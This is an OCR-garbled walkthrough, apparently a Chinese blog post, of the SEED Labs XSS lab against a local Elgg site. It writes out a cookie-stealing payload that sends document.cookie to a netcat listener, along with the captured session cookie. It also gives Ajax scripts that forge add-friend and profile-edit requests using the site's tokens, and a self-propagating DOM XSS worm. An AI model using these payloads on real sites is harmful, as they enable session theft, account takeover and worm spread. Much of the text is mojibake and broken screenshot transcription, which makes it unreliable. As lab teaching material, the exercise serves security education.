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Lab Tasks
1.1 3R “HTTP Header Live” T. B

ERNMERES, RINOFTEMEHTTPER. RHBEQHHEZKHTIPIERERER, RINTFEREHRMSITHTTIPIER. A
B LA F — AN O Fh T S50 = - i p R AR B SE IR B 4“HTTP Header Live” F F UL H . EARFFIATI TR IX AN LI EZ BT, RB%
FRE-THRXANTHR. EEEDE T a6 b TR K3

. example32a.com/ -+ - o x
&« ¢ @ © & www.example32a.com wee g L inD & @ =

€SP Expertment
HTTP Header Live Main — Mozilla Firefox x

1. Inline: Nonce (111-111-111): OK

7
Content-Type: application/javascript

- Inline: Nonce (222-222-222): OK http://www.example70.com/script_areab.js
. Host: www.example70.com
- Inline: No Nonce: OK User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.8) Gecko/20180101 Firefox/83.0
lnccept: */*
. From self: OK |Accept-Language: en-US,en;q=0.5

|lsccept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://www.example32a.com/

GET: HTTP/1.1 200 0K

Date: Wed, 23 Jun 2021 08:59:31 GMT

Server: Apache/2.4.41 (Ubuntu)

. From button click:  click me Last-Modified: Sat, 85 Dec 2020 17:48:28 GMT
ETag: "4e-5bsbb3350d360-gzip"

|laccept-Ranges: bytes

Vary: Accept-Encoding

. From www.example60.com: OK

[ B | B R~ B S

. From www.example70.com: OK

|

Content-Encoding: gzip
Content-Length: 93
Content-Type: application/javascript

http://www.example32a.com/favicon.ico
Host: www.example32a.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB6_64; rv:B83.0) Gecko/20100101 Firefox/83.0
|Accept: image/webp,*/*

|iccept-Language: en-US,en;q=0.5
|lhccept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://www.example32a.com/

GET: HTTP/1.1 404 Not Found

Date: Wed, 23 Jun 20821 88:59:31 GMT

Server: Apache/2.4.41 (Ubuntu)
Content-Length: 280

Content-Type: text/html; charset=is0-8859-1

Clear Options File Save @ record pData @autoscroll

12 RMERERUERERED

WAES ) B AR R EEIQgMEE U R N — AN JavaScriptie 55, MBI P EF BN ANEEL, JavaScriptlE B #T, HFER—
ANEIRE D . XA L FJavaScriptie 4 S nEHRE O

script>alert script

MR EH EiRJavaScriptES IR B KB B SO (BN, fEbrief description B ) , ALMHFEEEHNATETHA
BEIERE D, EARFF, JavaScriptfiZ R, W Ll Ashort description 7B . WRRERKIEEBIT— MM
JavaScript, {HI&ZBREH T BN ZRFEHRIRS], & LUK JavaScriptfe 7ML X, Hist BaR7T, REMH
H <script> fpic R HIsrcB 5 FH'E. 155 UL T RHB:

script type

solution

#t A\Docker, #Scriptf{ig4fskEg B SC 4B ]

docker ps
docker exec -it id /bin/bash



FHABITE K <script>alert(’XSS?);</script>
XEEBEENR, HBpdfi A B hosts

2.1 DNS Setup

We have set up several websites for this lab. They are hosted by the container 10.9.0.5. We need to map
the names of the web server to this IP address. Please add the following entries to /et c/hosts. You need
to use the root privilege to modify this file:

10.9.0.5 www.seed-server.com
10.9.0.5 www.example32a.com
1. 2. 0.5 www.example32b.com
1w, 2. 0.5 www.example32c.com
1w, 2. 0,5 www.example60. com
1w, 2. 0,5 www.example70.com

BT —T, TEGBMHEE:
10.9.0.5 www.seed-server.com
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(— - G @ © & www.seed-server.com/profile/samy/edit Q Recommendation [ o v iInD & @ =
Elgg For SEED Labs Blogs  Bookmarks  Files  Groups  Members  More - = Q Account -
Edit profile

Display name
Samy a Samy
About me
Embed content  Edit HTML
R Edit avatar
BT UST|z::= ] oy B E
Edit profile
Change your settings
Account statistics
Notifications
4
Group notifications
Public :l P
Brief description
<script>alert('xss')</script>
Public j
E BB N ET]
(— - X @ © & wwwseed-server.com/profile/samy Q Recommendation G M wd ' nD & e =

anonymity




1.3 X1 % & i B UL B 7~ Cookie
B BN A R T TE, Ealertrh BxssfGH% & ¥ Bidocument.cookie

(— - C @ © & www.seed-server.com/profile/samy/edit Q Recommendation v In D& & =
Elgg For SEED Labs Blogs  Bookmarks ~ Files  Groups  Members  More -
Edit profile
Display name
Samy a Samy
About me
Embed content  Edit HTML
_ o T Edit avatar
B I USTET ;== S = @EEHE
Edit profile
Change your settings
Account statistics
Notifications
4
Group notifications
Public :‘ P
Brief description
I <script>alert(document.cookie)</script>
Public j
(— - X @ © | & www.seed-server.com/profile/samy e o Y indD & @ =

Elgg=34itpnrfdiéng6j59mghd81s80

anonymity

1.4 M\ 2 E 5 K133 L 55 B Cookie



ncli T 45 15555, xss&xdfCookie Ki%E|H CiIP: 10.9.0.1

[06/23/21]seed@VM:~/Labsetup$ nc -lknv 10.9.0.1 5555
Listening on 10.9.0.1 5555

REIFRMEYTE, BATREXSSHd

Elgg For SEED Labs Blogs  Bookmarks  Files  Groups  Members  More ~ Search Q = a Account -

Edit profile

Display name

Samy 3 Samy

About me

Embed content  Edit HTML
Edit avatar

B I USTIL == & oy B @
Edit profile
Change your settings
Account statistics
Notifications
Group notifications
Public j P

Brief description

<script>document.write('<img sre=http://10.9.0.1:5555?c=" + escape(document.cookie) + ' >")</script>

Public j

EEIE e

[06/23/2]1]seed@VM:~/Labsetup$ nc -1knv 10.9.0.1 5555
Listening on 10.9.0.1 5555

Connection received on 10.0.2.15 44198

GET /7?c=Elgg%3D34itpnrfdibnq6j59mghd81s80 HTTP/1.1
Host: 10.9.0.1:5555

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:83.0) Gecko/20100101 Fire
fox/83.0

Accept: image/webp,*/*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://www.seed-server.com/profile/samy

1.5 RARZEHRIAK



XANElggut M Z BICSRFZ—HH, REGFMAAMEOLD K ECHID, WMfAZRE, ECSRFERFELERT, XBEAHE
ERBBEOE, FEEN AP ORabout me®, i AJavaScriptftid, FrE i B ALl &R i samyi i v i &
iEzm!

script type

window.onload function

var Ajax=null

elgg.security.token._ elgg ts

var token elgg.security.token.__elgg token

var sendurl ts+token

Ajax=new XMLHttpRequest

sendurl, true

(R IECHICHAEI IS € Elgg For SEED Labs

<« ¢ @ © | & www.seed-server.com/profile/samy/edit wee w n @O & & =

Elgg For SEED Labs Blogs Bookmarks Files Groups Members More ~ Q =] ‘a Account ~

Edit profile

Display name

Samy 3 Samy
About me
Embed content  Visual editor
<script type="text/javascript"> Edit avatar
window.onload = function () { Edit profile

var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token. _elgg_token;

Lo add Samy as a friend ch ki
var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token; ange your settings

//Create and send Ajax request to add friend

Ajax=new XMLHttpRequest(); Account statistics
Ajax.open("GET", sendurl, true);

Aiax condfl- p

Public :I Notifications

Group notifications
Brief description

Public j
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@ Newest members:Elgg X REEANMEININLERSMLIZIEE A Problem loading page
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P
B
@,
i

&« C o © & www.seed-server.com/friends/alice

Elgg For SEED Labs Blogs Bookmarks Files Groups Members More - Search

Alice's friends = Settings

't Friends

& Logout

No friends yet.
o friends ye G

Blogs

Bookmarks

Files

Pages

Wire post

Friends
Friends of

Collections

Hulr&Hsamy, R)57Enewestt H Vil samy

@ Alice: Elgg For SEEDLal X | 4+

a
P
8
@,
r3
1

<« c @ © £ www.seed-server.com/members/newest

Elgg For SEED Labs Blogs  Bookmarks  Files  Groups ~ Members  More -

Newest members

Newest Alphabetical Popular Online Search members

M samy
&b

M Charlie
k* Total members: 5
% Boby

&) Alice

&5

l Admin

<« C @ © & www.seed-server.com/profile/samy (I OB + 4 n @ ¢ &



Elgg For SEED Labs Blogs  Bookmarks  Files Groups Members More ~

-
Samy 2 i

About me

Blogs

Bookmarks
Files
Pages

Wire post

Alice MM #ERAE, FEZIL AT

@ Newest members: Elgy x RSWMCIGENGEREUGISENNE A Problem loading page

&« & @ © & www.seed-server.com/friends/alice e @ Y m o &

Elgg For SEED Labs Blogs  Bookmarks Files  Groups  Members More ~ Search Q Account -

Profile
Alice's friends = i

& Friends

M samy e @ Log out
B j

Blogs
Bookmarks
Files

Pages

Wire post

Friends

Friends of

Collections

T LEE], XSSELEPATHGMF LRI T
1.5.1 i HtsHtokenB T H K1, AHATBEEAN?

U AR T CSRFBEAIMLE], U7 19 W E A AN RS 2% T & fitokenftl, BEBEMERINA KRR E, BN RIES 7K
token %/, R RV Fhttp://mww.seed-server.com/action/friends/add?friend=59, RA#K], # WCSRFLL:

1.5.2 R Elggh AR FNAR TR FEREUBER, FRIBRBICARK, IREGEKSIRID
A B g ?

B B 1R%, Briefdescription, Location, Interests%5 Bk, #BAILA¥EAScriptitiy



1.6 & 3% % & I profile
HAEHEBCHEK, (samy) &%, BEBREIENERG

. CRTNRIFI G TEIS d C Edit profile: Elgg For SE X | @ Elgg For SEED Labs

<~ [ © & www.seed-server.com/profile/samy/edit - in @D & &

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups  Members  More -

HTTP Header Live Main — Mozilla Firefox

Edit profile

Display name

Samy

About me

as

Public j

Brief description

Clear Options File Save @record pata @autoscro

asdasd

Public j

- @ samy:ElggForSEEDL: X IR e @ Elgg For SEED Labs x |+

< c @ © | & www.seed-server.com/profile/samy - W n O € @

Elgg For SEED Labs Blogs  Bookmarks  Files  Groups  Members  More ~

HTTP Header Live Sub — Mozilla Firefox

:rll";esrez\;:r.cnm/actlon/prnfﬂ. POST v Ihttp://www.seedrserver.(om/a(tion/profile/edit I

1a/5.0 (X11; Ubuntu; Linux x86_{ HOSt: wuw.seed-server.com
,application/xhtml+xml,applicat] [Jser-Agent: Mozilla/5.0 (X11; Ubunmtu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0

Brief description en-Us,en;g=0.5 [sccept: text/html,application/xhiml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
asdasd gzip, deflate lsccept-Language: en-US,en;g=0.5
tipart/form-data; boundary=----1 [Accept-Encoding: gzip, deflate
"- 2969 Content-Type: multipart/form-data; boundary=------------------ooemmooom 42572365653756303813594410996
Jvi . seed-server.com IContent-Length: 2969
-alive origin: http://www.seed-server.com
pmviw. Seed-server. com/profile/samy, [Connection: keep-alive )
mdcrkjgg2ezciattpgb6nn3 Referer: http://www.seed-server.com/profile/samy/edit
-Requests: 1 ICookie: Elgg=lgemdcrkjgg292ciattpgbénn3
fugmFsPIVGHtsSWTSvOp1A& ely ['Pgrade-Insecure-Requests: 1
L 362 Found

n 2021 67:08:35 GMT
Blogs .4.41 (Ubuntu)

ust-revalidate, no-cache, no-sto
Bookmarks flov 1881 08:s52:00 Gt Fedescriptiontarcesslavel [descrIption] 2 brieTAese AT In0-as0aed Toriefosse intion]—2alocatio

www . seed-server.com/profile/sam;

Files

f102

ut=s, max=100
Pages -Alive

t/html; charset=UTF-8
Wire post

ed-server.com/profile/samy
ferver.com

1a/5.0 (X11; Ubuntu; Linux x86
,application/xhtml+xml,applicat
en-US,en;q=0.5

gzip, deflate

. seed-server. con/profile/samy,
-alive

Clear Options send Content-Length:434

B _ERr%n, BEOHbk: hitp://www.seed-server.com/action/profile/edit
post7 4 HE
¥ — Script



script type

window.onload function(){

userName=elgg.session.user.name;
guid=elgg.session.user.guid;

ts=elgg.security.token. elgg ts;

token=elgg.security.token.__elgg token;

updateMessage g

content token userName

updateMessage

samyGuid){

var Ajax=null;

Ajax=new XMLHttpRequest();
Ajax.open( , sendurl, true);
Ajax.setRequestHeader(

Ajax.send(content);
T3

script

FEIERRR, XKtokenEHHEE KA T PostH.

- (CRIGHICHEUEE IS @ Edit profile : Elgg For S X | @ Elgg For SEED Labs
&«

c @ © | & www.seed-server.com/profile/samy/edit e o n O & @

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups  Members  More ~ Search Q =] ‘a Account ~

Edit profile

Display name

Samy ﬁ Samy
About me
Embed content  Visual editor
. _n . - Edit avatar
<script type="text/javascript">
window.onload = function()}{ Edit profile

/{JavaScript code to access user name, user guid, Time Stamp __elgg ts

//and Security Token __elgg token

var yserMame=elgg.session.user.name;

var guid=elgg.session.user.guid;

var ts=elgg.security.token.__elgg_ts;

var token=elgg.security.token.__elgg_token;

var updateMessage = "hahaha";

//Construct the content of your url.

var rankent="  elnn Fakenz"+tnkan+"® elan Fe="+te+"Rname="+usarName+"&decrrintinn=farraccloualldesrrintinnl=22

Change your settings

Account statistics

#

Public j Naotifications

Group notifications
Brief description

|
Public j

Location

MR JGAlicellk &5




. CENICHAGIISTRISIER N € Alice's friends: Elgg For X | f Problem loading page

e © A& www.seed-server.com/profile/alice - U n o &

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups ~ Members  More -

Al!ce E= Edit avatar B2 Edit profile

€& Add widgets

Blogs

Bookmarks
Files
Pages

Wire post

B i i samy

< c @ © A& www.seed-server.com/profile/samy LN + 4 n o ¢

Elgg For SEED La Blogs  Bookmarks  Files  Groups  Members  More -

@y :
Samy

About me

Blogs

Bookmarks
Files
Pages

Wire post

SR JE Alice Rl T AN A H G

. (CWAICHEELIESS0IE € Samy : Elgg For SEED La X | @ Problem loading page

&« > C @ © | £ www.seed-server.com/profile/alice - n @ &

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups  Members  More -

Alice E Edit avatar B8 Edit profile

Brief description

hahaha




£ Add widgets

Blogs

Bookmarks
Files
Pages

Wire post

B profile 5.2h
1.6.1 7£ kiR JavaScript¥ i g+, HthaH AN ifH B

o fEsamyffiprofile about meH, A T JavaScriptfRid, 7ERZMINE, WksamyE a7 HORER, EFESMRIXE
KRG, TXBEARERaboutZBETER], REERT HMEENE, Frbl, REsamylin THOMER, IAFEANRIscript
RGP BECAT, JFEHAMAV Hsamyt i A &bk Bt T

o iBHINE, LLARESEINT LA fguid, W Rsamyltl, WIZRHAT B
1.7 4’5 B 1% HEXSSIE

HEE16.1HELENZUBRT, WEKAMEE AHabouti&Ascriptiiid, FrLl, B&#EHE, HMEZEEZHprofilel, about
B BRI RS, BARXBABERE—EFE, A 0T R E BB 5 faboutw B in B i A

1.7.1 link %Y i &y

1.3MA K Blabouti) FE & R description, X/ME47E1.7.2F 3|

@ samy:Elgg For SEED La' X NESEEINVHEEANIZEEDIERS S € Elgg For SEED Labs

<« c o © & www.seed-server.com/profile/samy

_lf\_}_J

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups  Members  More -

& Edit avatar BB Edit profile

About me
asdasdasdasdasdasdasd
. ‘ HTTP Header Live Sub — Mozilla Firefox
POST ~ | http:/fwww.seed-server.com/action/profile/edit

Host: yyw.seed-server.com

Blogs User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux xB6 64; ry:83.8) Ge:kn/zﬂlaﬂlﬂl Flrefux;‘&} a
ccept: text/html, application/shtml+xml,application/xml;q=8.9, inage/webp, *
|accept-Language: en-US,en;q=0.5

Bookmarks |accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----------------------—- - 303016188219174667999208356118
Files Content-Length: 2084

Origin: http://wew.seed-server.com

Connection: keep-alive

Pages : http://www.seed-server.com/profile/samy/edit
Cookie™ = Emdcrk]gql‘}?(latlpghénnj

Upgrade-Insecure™ 1

Wire post

[ elgg token-ZLBMZ BMXTO w7uy 000G elgy ts-1624522739% descripti ce

2 ARIEFEIN s xsscode

script src xsscode.js




XEEEE, FHAFERHDOMAEIEE, DOMasfE—L, & TDOMA, LinkBEARMST . S5 EKE H Z KKt 2DOMA
FHSELinkst £ EDOMAL i SR EI — M E=T7 54 (TULR B CHEERE R L, R/ascriptsrc MEHMT T, HBRLHF

&
1.7.2 DOMZA! &
DOMEE R, i HoWiE—BJIS, REEHIED, 1£4%descriptionB

XFAEE A s, A ECHEZ— T M. id=handleMessage, jsEFREF AN, BEHHERTE Kscripthrds, THIES
description, FEAS Rfunctionf&¥H A B &, SABEIEIR LI AIE Lk functiontt, EH B S BL T ~~

script id

var headerTag

var jsCode document.getElementById( ) .innerHTML;

var tailTag 5

var wormCode encodeURIComponent(headerTag jsCode + tailTag);

window.onload function(){

userName=elgg.session.user.name;

guid=elgg.session.user.guid;

ts=elgg.security.token.__elgg ts;

token=elgg.security.token.__elgg token;

updateMessage 5

content token userName wormCode
updateMessage

guid;
sendurl
samyGuid 505
if(guid!=samyGuid){
var Ajax=null;
new XMLHttpRequest();
.open( , sendurl,
.setRequestHeader (
.send(content);

Ajax=null;

sendurl token
Ajax=new XMLHttpRequest();

Ajax.open( , sendurl, true);

Ajax.send();

script
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Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups ~ Members  More ~ Searc = ﬁ Account ~

Edit profile

Display name

Samy ﬁ Samy
About me
Embed content  Visual editor
<script id="handleMessage"> Edit avatar
var headerTag = "<script id=\"handleMessage\" type=\"text/javascript\">"; . 1
var jsCode = document.getElementByld("handleMessage").innerHTML; Edit profile

var tailTag = "</" + "script>";

var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

window.onload = function(){ Change your settings
var userName=elgg.session.user.name;

var guid=elgg.session.user.quid;

var ts=elgg.security.token.__elgg_ts;

var takanzalan cacurity kakan  alan Fakan- 4

Account statistics

Public :| Notifications

Group notifications
Brief description

Public :I

Location

(33
T RAEFHAliceIlk & 3% I 15 [ SamyF: I

© & www.seed-server.com/profile/samy - @

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups  Members  More ~

. :
Sa my &t Add friend B2 Send a message

About me

L 2 J
Blogs
Bookmark:
o STEAdd friend, FARRITR, WE
Files BRI TRE, £&IE5RE T Remove Friend
Pages
Wire post

BEHOKWER, Ll Eprofilei#

@ | £ www.seed-server.com/profile/alice i %

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups ~ Members  More -

Alice B8 Edit profile




Brief description

hahaha
About me
£ Add widgets
Blogs
Bookmarks
Files
Pages
Wire post
© £ wwwseed-server.com/profile/alice/edit w @

Elgg For SEED Labs Blogs  Bookmarks  Files  Groups  Members

Edit profile

Display name

Alice ) Alice
=N
About me
Embed content  Visual editor .
<script id="handleMessage" type="text/javascript"> Edit avatar
var headerTag = "<script id=\"handleMessage\" type=\"text/javascript\">"; Edit profile

var jsCode = document.getElementByld("handleMessage").innerHTML;
var tailTag = "</" + "script>";

var wormCode = encodeURICompoenent(headerTag + jsCode + tailTag);
window.onload = function(){ Change your settings
var userName=elgg.session.user.name; L.
var guid=elgg.session.user.qguid; Account statistics

var ts=elgg.security.token. _elgg_ts;
uar bakan=alnn caruribv Fakan  alan bakon:

Public :I Notifications

Group notifications
Brief description

hahaha

Public :I

Location

ARG WIEENE BB L T 3 A TEAbout meH

© £ www.seed-server.com/friends/alice we @ T

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups  Members  More ~ Search

Profile

Alice's friends = Settings

Friends
# samy ) Log out
il
R L®
Blogs
Bookmarks
Files

Pages



Wire post

Friends
Friends of

Collections

Samy AL T Alice 14T &
DUIETF LA IR % L&A 3E B T Alice, HAtAViHAlice, oYy, BRI iProfile DL K& K XSSIE ARSI EI A &
About meH, 4ka:fE4E
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© | & - www.seed-server.com/profile/charlie . i+
Elgg For SEED Labs Blogs  Bookmarks  Files

Groups Members More ~

(=] g'ﬁ, Account ~

Charlie

) Edit avatar BB Edit profile

0 Add widgets

Blogs

Bookmarks
Files
Pages

Wire post

HijlAAlice

©  # www.seed-server.com/members we ©
Elgg For SEED Labs Blogs  Bookmarks  Files

Groups Members More ~ Search =] Q‘, Account ~

Newest members

Newest Alphabetical Popular Online Search members

M somy
B

= Charlie

Total members: 5
% Boby
'

{ Alice
- hahaha

; Admin

© | & www.seed-server.com/profile/alice

Elgg For SEED Labs Blogs Bookmarks Files

Groups Members More ~ Searc = Qﬂ, Account -

&+ Add friend Send a message

Brief description

hahaha

About me




Blogs
Bookmarks
Files
Pages

Wire post

Bl Z|CharliefProfile, & R 1&5RTh

© & -0 www.seed-server.com/profile/charlie g

Elgg For SEED Labs Blogs Bookmarks Files Groups Members More -~

Charlle B3 Edit profile

Brief description
5 = hahaha
About me
£ Add widgets

Blogs
Bookmarks
Files
Pages
Wire post
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© & www.seed-server.com/friends/charlie B o

Elgg For SEED Labs  Blogs  Bookmarks  Files  Groups  Members  More - search =] é‘l’ Account ~

Profile
Charlie's friends = Settings

&% Friends
3 Samy ;; W © Logout
L

Blogs

Bookmarks
Files
Pages

Wire post

Friends
Friends of

Collections



DOMAF Rgt 58k 7> W A S R HIY 8L, CAEBOE KA INSamyhiF &



	SeedLabs-Web安全-XSS实验
	SeedLabs-Web安全-XSS实验
	文章目录

	前言
	Lab Tasks
	1.1 熟悉“HTTP Header Live”工具
	1.2 发布恶意消息以显示警报窗口
	1.3 发布恶意消息以显示Cookie
	1.4 从受害者的机器上窃取Cookie
	1.5 成为受害者的朋友
	1.5.1 说明ts和token两行的目的，为什么需要它们?
	1.5.2 如果Elgg应用程序仅为“关于我”字段提供编辑模式，不能切换到文本模式，你还能发动成功的攻击吗?

	1.6 修改受害者的profile
	1.6.1 在上述JavaScript攻击代码中，为什么有个if判断

	1.7 编写自传播XSS蠕虫
	1.7.1 link型蠕虫
	1.7.2 DOM型蠕虫



